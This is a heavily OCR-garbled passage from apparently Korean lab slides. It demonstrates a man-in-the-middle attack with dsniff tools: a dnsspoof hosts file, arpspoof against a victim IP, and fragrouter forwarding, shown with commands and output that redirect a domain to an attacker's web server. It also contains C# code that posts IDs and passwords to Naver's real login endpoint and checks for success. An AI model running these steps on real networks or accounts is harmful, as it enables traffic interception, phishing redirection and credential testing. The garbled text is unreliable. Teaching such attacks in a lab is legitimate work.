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o DNS AFHZ 17|2|8H arpspooflt dnsspoofE A X|gtL|CL.

{4} Home * | [ Fedora_12_Server x}
) ==z 32 22 @@ (o[£

Add/Remove Software
System Filters Selection Help

= Fing 4. Tools for network auditing and penetration testing
[ arpspoof ind u =i Is f k audi nd

@ All packages S
¢ Package collections

dsniff-2.4-0.9.b1.fc12 (i686)

@ Newest packages
B9 selected packages
Admin tools

€ GNOME desktop
KDE desktop

] other desktops

mk XFCE desktop

Education

3 A collection of tools for network auditing and Project: Homepage

28] Fonts penetration testing. Dsniff, filesnarf, mailsnarf, Group: Other

. Games msgsnarf, urlsnarf and webspy allow to passively . P

- . monitor a network for interesting data (passwords, e- License: BSD

@ Graphics mail, files). Arpspoof, dnsspoof and macof facilitate Download size: 101.1 KB

o Intermnet | |the interception of network traffic normally Source: Fedora 12 - i386 - Updates
«| lunavailable to an attacker (e.a. due to laver2?
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o Izl HO|E It fragrouters A XL CL.
o fragrouter-1.6.targz& CIE2E 20} EHO[E0|A Of2fjet 22 HHO

£ QgL
« tar xvfz fragrouter-1.6.tar.gz

» cd fragrouter-1.6
» ./configure; make; make install

oIU(E) =HEE 2270V} E0|EI) =Z2ZHH)
checking target system type... 1iGBG-pc-linux-gnu
checking build system type... 1686-pc- Linux-gnu

checking for gcc... (cached) gcc

checking whether the C compiler (gcc | works... yes

checking whether the C compiler (gcc ) 1s a cross-compiler... no
checking whether we are using GNU C... (cached) yes

checking whether gcc accepts -g... (cached) yes

checking gcc version... 4

checking how to run the C preprocessor... (cached) gcc -pipe -wWall -E
checking for malloc. h... yes

checking for sys/ioccom. h... no
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Ol 20| A OtmX| MY Hl=s HHEY
service httpd start & &35}t httpdg Al EfghL T,

Home ] ﬁ Fedora_12_ Server

) ==0 Ax A2y @ @

root@localhost:~

otdiF) HE(E) 22|V} HOGI ZgZH)
| root@localhost ~]# service httpd start
httpd (215 A 23t

| root@ocalhost ~]# []

@ Test Page for the Apache HTTP Server on Fedora - M
oiU(F) #EE(E) =2)V) 0|=(S) =0IEB) =TI =ZEHH)
& v o @ |@ | ntp:n27.0.0.1

5 XI5 &2 &=~ [o|Release Notes [Fedora Project~ {EjRed Hatv 3 Free

| [@] Test Page for the Apache HTTP ... | &

Fedora Test Page
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W [ € Test Page for the Apache HTTP Server on Fedora l

Home & Fedora_12_Server ﬂ Windows Vista

‘€ Test Page for the Apache HTTP Server on Fedora - Windows Internet Explorer -
&) - e 92168111100/ v | 49| x || Live Search
| Dhov B v @ v PHEHOXE) v

Fedora Test Page

This page is used to test the proper operation of the Apache HTTP server after it has been
installed. If you can read this page. it means that the web server installed at this site is working

properly. but has not yet been configured.
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DNS A /k.II III _‘|_J'_|-OI<D )b17G1€SFL_|[:f

B O] "*OHH vi /etc/dsniff/dnsspoof.hosts & 22 3H0{ vi O|C|HE 4
S| C}

SAA IPFA SHA MHZ FEZ MO|E 45 YEoD X
S

192.168.111.100 *.shana.pe.kr
192.168.111.100 shana.pe.kr

& ([=)(E]
otdiFy #=EE =27)V) E0|EI ZSZhH)

fl27.0.001 *. stats. net =
127.0.0.1 * stattrax. com

127.0.0.1 * *tracker. com

127.0.0.1 *. valueclick. com i
127.0.0.1 ¥ wisewire. com )
192. 168. 111. 100 *. shana. pe. kr

192. 168. 111. 100 shana. pe. kr

shana.pe.kr& F7I2t O|F = http://shana.pekr2 E5A| DNS &
HO| M2 O|FO{X[X| R0tA F73l= L Cf.
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arpspoofE A etL|Ct.

B O] = 0j| A
arpspoof -t SALHHIPF LA HO|ELO|IPF
Aoz YHSIH L CH

root@localhost:—
Z22HH)

ot
| root@localhost ~]# arpspoof -t 192.168.111.111 192. 168.111.2

0: ¢: 29: be: 8d: 6T 0: c: 29: ee: bB: 56 0BO6 42: arp rep[y 192, 168.111. 2 is-at 0:c:29: be
: 8d: 6F

0: ¢: 29: be: 8d: 6T 0: c: 29: ee: bA: 56 0B06 42: arp reply 192.168.111.2 is-at 0:c:29: be
:Bd: 6T

0:c:29: be: 8d: 6T 0: ¢: 29: ee: bB: 56 0BO6 42: arp reply 192.168.111.2 is-at 0:c:29: be
cBd: 6T

0:c:29: be: Bd: 6T 0: c: 29: ee: bB: 56 0BO6 42: arp reply 192.168.111.2 is-at 0:c:29: be
:Bd: 6T
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izl 28| 0l= HO|E A fragrouter -B1 d
fragroutere= S4A7 SAUHELE B H &2 IiZlS

FRAGROUTER

eI

otdiF) HEE)
[ root@localhost ~]# fragrouter -Bl

192,168,111, 111.
94641 win 64240
192,168,111, 111.

192,168,111, 111.
192,168,111, 111.

192.
192,
192,
192,
192.

168.
168.
168,
168.
168.

111.
111.
111.
111.
111.

111.
111.
111.
111.
111.

fragrouter: base-1:
192, 168.111. 111. 50452 = 124, 217.
662 win 64240 (DF)

50453
(DF)
50454

0454 win 64240 (DF

50455

5566 win 64240 (DF)

50456

23 win 64240 (DF

50452
50453
50454
50455
50456

VoW W VY

124,
124,
124,
124,
124.
124,
124,

124,
124.

27|(V) HOIE(m

217.
217.
217.
217.
217.
217.
217.

217.
217.

199.
199,
199,
199,
199,
199,
199,
199,

199.
199,

T 2gkH)

normal IP forwarding
189.

189,
189,
189,
189,
1849,
189,
189,

189.
1849,

80:
80:
80:
80:
80:
80:
80:

80:
80:

279856581: 279856581(0) ack 1948404

1758725815: 1758725815(0) ack 19107

2484816574: 24B4816574(0) ack 82315

1458323046: 1458323046(0) ack 34001

649220661: 649220661{0) ack 8307458
ack 1948404663 win 64240 (DF)

ack 1910794642 win 64240 (DF)

ack B23150455 win 64240 (DF)

ack 340015567 win 64240 (DF)

ack 830745824 win 64240 (DF)

Al
=

e,
o




DNS &% H&(10) - DNS 2% E &4

o HO'E0A dnsspoof -i eth0 -f /etc/dsniff/dnsspoof.hosts
R ESt0f AN DNS &% 348 ALt

orE(E) HE(E =27((M) HO|gI) =3H)
[ root@localhost ~]# dnsspoof -1 ethd -f /etc/dsniff/dnsspoof. hosts
dnsspoof: listening on ethd [udp dst port 53 and not src 192. 168. 111. 100]
192. 168, 111.111. 50751 = 192.168.111.2.53: 16378+ A7 shana. pe. kr
192,168,111, 111. 50751 = 192.168.111.2.53: 16378+ A? shana. pe. kr

o BACYAO| shanapekrS HESD 9|9 2+S HA|X|7} SHE LT

=
{1} Home & Fedora_12_Server ﬁ. Windows Vista

[ Test Page for the Apache x

€« C' [) www.shana.pe.kr B =

Fedora Test Page

This page is used to test the proper operation of the Apache HTTP
server after it has been installed. If you can read this page, it
means that the web server installed at this site is working properly,
but has not yet been configured.
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GET Al
23 O[O|E 0 Cigt 214=& URL(Uniform Resource
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POST &4
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] view-sourcenid.naver.cor x WY

€« C' [ view-source:nid.naver.com/nidlogin.login

85 <form id="frmMIDLogin” name="frmMIDLogin” target="_top” AUTOCOMPLETE="off"

action="https://nid. naver. com/nidlogin, login" method="post"” onsubmit="return confirmSubmit():"=
<input ty#mm%dfenctp" value="1">
<input tvpe="hidden” nane="BENcrm T0= ENCLN volEmoE
<input type="hidden” name="encnm” id="encnm” value=""x
<input type="hidden” nane="svctype” id="svctype” walue=""=
<input type="hidden” name="swc” id="swc" value=""x
<input type="hidden” name="viewtype" id="viewtype” value=""x>
<input type="hidden” name="locale” id="locale” walue="ko_KR"=
<input tvpe="hidden” nane="postDataKey" id="postDatakev” value=""z
<input type="hidden” name="smart_LEVEL" id="smart_LEVYEL" wvalue="-1"=
<input type="hidden” name="logintp” id="logintp” wvalue=""x
<input tvpe="hidden” name="url” id="url" value="http:/ www.naver. . con">
<input type="hidden” name="localechange™ id="localechange” value=""x
<input type="hidden” name="theme_mode” id="theme_mode” walue=""x
<input type="hidden” name="pre_id" id="pre_id" walue="">
<input type="hidden” name="resp” id="resp” walue=""»
<input type="hidden” name="exp"” id="exp” value=""x
<input type="hidden” name="ru" id="ru" walue=""=
<tieldset class="login_form">
<legend class="hlind">2 1% </legend:>
<div class="input_row” id="id_area"=>
<span class="input_box ">
<label for="id" id="label_id_area” class="Ibl" =0t0IC|</label:
<input tvpe="text” id="id" name="id" tabindex="7" accesskev="L" placeholder="0t0IC|"
L] N

class="int" maxlength="4" value=""=>
</spanz
<hutton type="button” disabled="" title="delete” id="id_clear” class="wrg"=&H </button:
<fdive
<div id="err_emptyv_id" class="error” stvle="display:none; =0t0ICIE ZHMFH T . </div>
<div class="input_row” id="pw_area’>
<zpan class="input_box >
<label for="pw" id="label_pw_area" class="Ibl" >H|2HZ </label>
<input tvpe="pagssword” id="pw" name="pw" tabindex="8" placeholder="HIZ2HZ" clazs="int"
maxlength="16" onkeypress="capslockevt (event) oetkeysv2();" onkevup="chEcken TtUplevent);" onkeydown="checkShiftDoumlevent i, >
</spanx
<button type="button” dlsabled— " tltle— delete Id " _ u:Iear" class— wrg >“I1| </button=
PR n H I~

Y TR LR e - b _ "
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private static bool login(string ID, string PW)
{
string str;
WinHttps.Open("POST", "https://nid.naver.com/nidlogin.login");
WinHttps.SetRequestHeader("Referer”, "https://nid.naver.com/nidlogin.login");
WinHttps.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded");
WinHttps.Send("enctp=1&id=" + ID + "&pw=" + PW);
str = WinHttps.ResponseText;
if (strIndexOf("https://nid.naver.com/login/sso/finalize.nhn") > 0)

{
MessageBox.Show("2 19! E|R&L|CL");
return false;

}

else

{

MessageBox.Show(" & Iff");
return true;

O O O O OO OO OO OO O OO OO OO
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WinHttps.Open("POST", "https://nid.naver.com/nidlogin.login");
https://nid.naver.com/nidlogin.login HTTP B &S POSTE &A= FL|C}L

WinHttps.SetRequestHeader("Referer","https://nid.naver.com/nidlogin.login");
2¥s EW7| T HTTP HIHE 2L

WinHttps.SetRequestHeader("Content-Type", "application/x-www-form-
urlencoded");

QEE HL|Z| ™ HTTP 8|HE ™t LC},

Content egjl':|01 Et2) 2 application/x-www-form-urlencoded(E & Et Y, key2t
value &E £ Pl o2 Al | C}.

Key2t value ZENE id=0FO|C| gt &pw=I AR =2 O| 2 HEIS LTt

CE)VW id2f pwZt keyZt £|= Z40|11 OFO|C| gt} AR EZEE value?l &= AL


https://nid.naver.com/nidlogin.login

DE1H#S ST 212 - POST &4

WinHttps.Send("enctp=1&id=" + ID + "&pw=" +
PW);

i

(POST A2 =) HTTP 3| 2| H|O[E0f Clet 8= T
SerL O},

QHEZ MEY I key-value HEZ NS E|H O1O|C|Qf
ALE 20| MEE LT

enctp= Naver 21018 [If QS 7|2 /22 HMEFA|
E0Q10| ot EL|LC,

str = WinHttps.ResponseText;

280 Ciet SEHE= Text 2 &=L L
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~,

AE): str

ZpELf
href="https: //help.naver.con/support fcontents/co
ntents.nhn¥servicedo=532%cateqoryNo=10935"
class="link_login_help" target="blank"=2F, 23
Qo] 2t LR Pfax<Sp=

</djve

<5pan
class="btn_login"=

<jinput

type="submit” title="232 " a|t="2 391"
tabindex="12" walue="E 121" class="int_iogin"
onclick="nclks{ " log. login',this,event )"=

</spanz

iy

[l

V1S HEW w10 || =sze

.
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=HIE OO|C|ef IfARIEE YHIMZ [If str(HTTP Response)at

smAE A2l o) =] B et
LUE): str
o if
ZHV): . . : .

. (strIndexOf("https://nid.naver.com/login/sso/finalize.nh
<html|= = n
<script language=javascript= n") > 0)

i location. replace {

“htteps: A/nid.naver.com/logindsso/finalize. nhn? " "
I:url=h$th3.ﬁ.X2F : MessageBox.Show("21 Q! &|}&L|C}E");
g2Fwww . naver . congsid=NENENNGGN: < ct vpe=1" return false;

n
=fscript= }
SIE else
{ —
MessageBox.Show(" & IH");
return true;
}
V1S HEW w0 || =sze
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